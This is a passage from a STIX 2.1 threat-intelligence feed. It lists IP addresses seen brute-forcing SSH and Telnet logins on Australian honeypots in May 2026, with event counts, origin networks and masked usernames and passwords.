      "created": "2026-05-09T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 9009. Organisation(s): M247 Europe SRL.",
      "id": "indicator--580592fb-0407-4122-ab44-f948fecbeb2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.255.100.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T21:15:10.000Z",
      "valid_until": "2026-06-10T21:15:08.000Z"
    },
    {
      "created": "2026-05-09T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 812. Organisation(s): Rogers Communications Canada Inc..",
      "id": "indicator--d2e16dac-80f9-480d-9a1d-5971f541b041",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '99.241.112.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T21:15:10.000Z",
      "valid_until": "2026-06-10T21:15:08.000Z"
    },
    {
      "created": "2026-05-09T22:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): -*************-, r********6.",
      "id": "indicator--b3b07532-3c74-4858-96d5-c2a41e5c7595",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.96.202.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T22:15:14.000Z",
      "valid_until": "2026-06-10T22:15:03.000Z"
    },
    {
      "created": "2026-05-09T22:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): -**************-.",
      "id": "indicator--d68b9383-140f-4c56-8a63-04f73bf853fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.96.203.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T22:15:14.000Z",
      "valid_until": "2026-06-10T22:15:03.000Z"
    },
    {
      "created": "2026-05-09T22:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--5c7953fb-915b-4e16-b14b-a8345e9f7d9c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '136.243.133.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T22:15:14.000Z",
      "valid_until": "2026-06-10T22:15:03.000Z"
    },
    {
      "created": "2026-05-09T22:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 20473. Organisation(s): The Constant Company, LLC.",
      "id": "indicator--425d0821-1c37-4cf2-b0af-c64f32e2b84c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '149.248.1.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T22:15:14.000Z",
      "valid_until": "2026-06-10T22:15:03.000Z"
    },
    {
      "created": "2026-05-09T22:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 250. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 142002. Organisation(s): Scloud Pte Ltd. Usernames observed (masked): r**t, t**t, 3**********4, e*****c, g***t. Passwords observed (masked): 1***3, 1*******!, 1**********e, 3***********4, 3**********4.",
      "id": "indicator--587e5129-7a53-47e3-9810-07a23d1351e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.227.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T22:15:14.000Z",
      "valid_until": "2026-06-10T22:15:03.000Z"
    },
    {
      "created": "2026-05-09T22:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 264814. Organisation(s): BITRED GROUP SPA.",
      "id": "indicator--ec1ca9fe-0f4e-4552-b7aa-08eeecc9c77c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.238.203.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T22:15:14.000Z",
      "valid_until": "2026-06-10T22:15:03.000Z"
    },
    {
      "created": "2026-05-09T22:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--f713498e-8005-42d7-acde-c816667a6e02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.29.224.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T22:15:14.000Z",
      "valid_until": "2026-06-10T22:15:03.000Z"
    },
    {
      "created": "2026-05-09T22:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 207728. Organisation(s): EUROHOSTER Ltd..",
      "id": "indicator--d16fb0fe-45c9-42fb-aff7-f8e34999cf36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.162.9.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T22:15:14.000Z",
      "valid_until": "2026-06-10T22:15:03.000Z"
    },
    {
      "created": "2026-05-09T22:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--7927f5e2-6e44-413e-8d2a-e6cc6250d638",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.107.103.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T22:15:14.000Z",
      "valid_until": "2026-06-10T22:15:03.000Z"
    },
    {
      "created": "2026-05-09T22:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AM. ASN(s): 49800. Organisation(s): GNC-Alfa CJSC.",
      "id": "indicator--75528273-2f1e-4cf0-aeb5-f4ed0bee2955",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.186.114.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T22:15:14.000Z",
      "valid_until": "2026-06-10T22:15:03.000Z"
    },
    {
      "created": "2026-05-09T22:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 272809. Organisation(s): THUNDERNET, C.A..",
      "id": "indicator--3e7110bc-2c90-41d5-b3eb-426e06ca6c3c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.248.161.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T22:15:14.000Z",
      "valid_until": "2026-06-10T22:15:03.000Z"
    },
    {
      "created": "2026-05-09T22:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 268622. Organisation(s): OLIVEIRA TELECOM. Usernames observed (masked): r**t, 3**********4, l********e. Passwords observed (masked): !******R, !**********c, 1*********g, 1*********A, 3***********4.",
      "id": "indicator--d8641177-b2dc-46fd-b17a-2c09cf096a7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.164.39.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T22:15:14.000Z",
      "valid_until": "2026-06-10T22:15:03.000Z"
    },
    {
      "created": "2026-05-09T22:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 5650. Organisation(s): Frontier Communications of America, Inc..",
      "id": "indicator--4d79e0d2-9078-428f-988c-6d9c25c6f403",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T22:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.200.176.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T22:15:14.000Z",
      "valid_until": "2026-06-10T22:15:03.000Z"
    },
    {
      "created": "2026-05-09T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 55720. Organisation(s): Gigabit Hosting Sdn Bhd.",
      "id": "indicator--c6f1922e-48a1-4391-b5a1-cea7a923fdb5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.91.66.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T23:15:10.000Z",
      "valid_until": "2026-06-10T23:15:08.000Z"
    },
    {
      "created": "2026-05-09T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--7fc71d57-ff2d-400b-abec-eac200e22293",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.50.251.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T23:15:10.000Z",
      "valid_until": "2026-06-10T23:15:08.000Z"
    },
    {
      "created": "2026-05-09T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--85a9d4b6-490b-40b2-9f0e-d9b7d0dd7567",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '135.181.160.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T23:15:10.000Z",
      "valid_until": "2026-06-10T23:15:08.000Z"
    },
    {
      "created": "2026-05-09T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION.",
      "id": "indicator--ed644318-03dd-4215-9b8e-4f3a105789ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '148.135.50.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T23:15:10.000Z",
      "valid_until": "2026-06-10T23:15:08.000Z"
    },
    {
      "created": "2026-05-09T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--3b463b8f-ad73-43af-8d94-81ca43896712",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.245.89.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T23:15:10.000Z",
      "valid_until": "2026-06-10T23:15:08.000Z"
    },
    {
      "created": "2026-05-09T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 23470. Organisation(s): ReliableSite.Net LLC.",
      "id": "indicator--7bdce5d3-86b5-4624-b932-3b50de42dc6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.93.103.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T23:15:10.000Z",
      "valid_until": "2026-06-10T23:15:08.000Z"
    },
    {
      "created": "2026-05-09T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--33e3bc7f-5900-4c6a-975d-0449530abacf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '184.154.95.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T23:15:10.000Z",
      "valid_until": "2026-06-10T23:15:08.000Z"
    },
    {
      "created": "2026-05-09T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 203443. Organisation(s): Indert Connection Lp.",
      "id": "indicator--1bdea807-95e5-4ece-a4c2-14e16993a56c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.134.49.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T23:15:10.000Z",
      "valid_until": "2026-06-10T23:15:08.000Z"
    },
    {
      "created": "2026-05-09T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 203443. Organisation(s): Indert Connection Lp.",
      "id": "indicator--61c8f64b-3211-4378-a345-f819d7d3ffc1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.134.49.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T23:15:10.000Z",
      "valid_until": "2026-06-10T23:15:08.000Z"
    },
    {
      "created": "2026-05-09T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 18809. Organisation(s): Cable Onda.",
      "id": "indicator--0ee3425d-9441-4baa-9348-004a47363cd5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.140.59.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T23:15:10.000Z",
      "valid_until": "2026-06-10T23:15:08.000Z"
    },
    {
      "created": "2026-05-09T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 198584. Organisation(s): PIO-Hosting GmbH.",
      "id": "indicator--c0c4fdab-f9e0-4fdf-98dd-d9b560504b36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.120.230.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T23:15:10.000Z",
      "valid_until": "2026-06-10T23:15:08.000Z"
    },
    {
      "created": "2026-05-09T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--fed758bd-83c2-47bd-b7f0-5c8e92e8791c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T23:15:10.000Z",
      "valid_until": "2026-06-10T23:15:08.000Z"
    },
    {
      "created": "2026-05-09T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 3920. Organisation(s): PUSHPKT OU.",
      "id": "indicator--3695f610-009f-48e3-8e78-275bb2b64670",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.237.106.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T23:15:10.000Z",
      "valid_until": "2026-06-10T23:15:08.000Z"
    },
    {
      "created": "2026-05-09T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 264837. Organisation(s): CORPORACION VISUAL NUEVA ESPARTA, C.A.",
      "id": "indicator--47d189e9-e92d-4c4e-a46f-c8de7bc402a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.52.141.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T23:15:10.000Z",
      "valid_until": "2026-06-10T23:15:08.000Z"
    },
    {
      "created": "2026-05-09T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--11363fa7-e7ab-49e0-9210-0d9e7d472071",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.101.169.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T23:15:10.000Z",
      "valid_until": "2026-06-10T23:15:08.000Z"
    },
    {
      "created": "2026-05-09T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 272814. Organisation(s): TOVARSAT C.A..",
      "id": "indicator--7dc72e04-56c8-4cbe-a6fe-a51e7c3c6609",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.118.61.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T23:15:10.000Z",
      "valid_until": "2026-06-10T23:15:08.000Z"
    },
    {
      "created": "2026-05-09T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6441. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company. Usernames observed (masked): r**t. Passwords observed (masked): 0****3, 0****2, 0******0, 0******7, 0****8.",
      "id": "indicator--180af423-d8c0-44eb-a302-7d87f761dc1f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '93.188.83.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T23:15:10.000Z",
      "valid_until": "2026-06-10T23:15:08.000Z"
    },
    {
      "created": "2026-05-09T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 202425. Organisation(s): IP Volume inc. Usernames observed (masked): ***. Passwords observed (masked): .",
      "id": "indicator--15987521-8fef-4f97-a3b0-a0302d387ef1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.102.51.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T23:15:10.000Z",
      "valid_until": "2026-06-10T23:15:08.000Z"
    },
    {
      "created": "2026-05-09T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--32fa2dee-3898-4a34-b35c-c18392535aff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '96.127.172.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T23:15:10.000Z",
      "valid_until": "2026-06-10T23:15:08.000Z"
    },
    {
      "created": "2026-05-10T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 8888. Organisation(s): xTom Pty Ltd.",
      "id": "indicator--2869b9e6-5c0d-4e83-9623-2328de32323a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.149.46.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T00:15:21.000Z",
      "valid_until": "2026-06-11T00:15:08.000Z"
    },
    {
      "created": "2026-05-10T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--588f11ad-1b74-41a1-a33e-ad9499a086d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T00:15:21.000Z",
      "valid_until": "2026-06-11T00:15:08.000Z"
    },
    {
      "created": "2026-05-10T00:15:21.000Z",
